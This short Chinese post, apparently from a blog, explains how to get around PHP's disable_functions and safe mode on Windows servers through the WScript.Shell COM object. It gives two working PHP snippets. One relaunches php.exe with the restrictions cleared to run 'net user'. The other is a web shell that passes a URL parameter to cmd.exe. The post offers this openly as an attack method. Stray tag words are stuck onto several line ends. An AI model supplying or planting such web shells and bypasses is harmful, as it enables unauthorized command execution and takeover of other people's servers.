不少时候有些windows的服务器是支持wsh组建的,可是却执行不了命令,asp下执行被拒绝,php下执行报错,此时你能够借鉴如下的方法尝试。php
php利用wsh突破函数禁用执行命令(安全模式同理)
条件说明:apache
须要服务器是windows并支持wsh组建.且知道php安装目录
php在IIS环境下利用wsh执行命令是没有asp的权限高的。若是在apache环境下,apache默认都是system或administrator权限。windows
测试是否能够执行命令的时候,若是回显空白,能够多尝试一些命令,好比set,whoami,等等,由于有时候有些命令被禁用的,好比net类或者ipconfig命令就常常被禁用。安全
突破代码以下:服务器
<?php $cmd='net user'; $path = 'C:\\PHP\\php.exe'; $cmd='-r "system(\''.$cmd.'\');" -d disable_functions = '; //从新定义disable_functions函数 $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->exec($path.' '.$cmd); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo "${stroutput}\n"; ?>
或者:函数
<?php $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->exec("cmd.exe /c ".$_GET['c'].""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>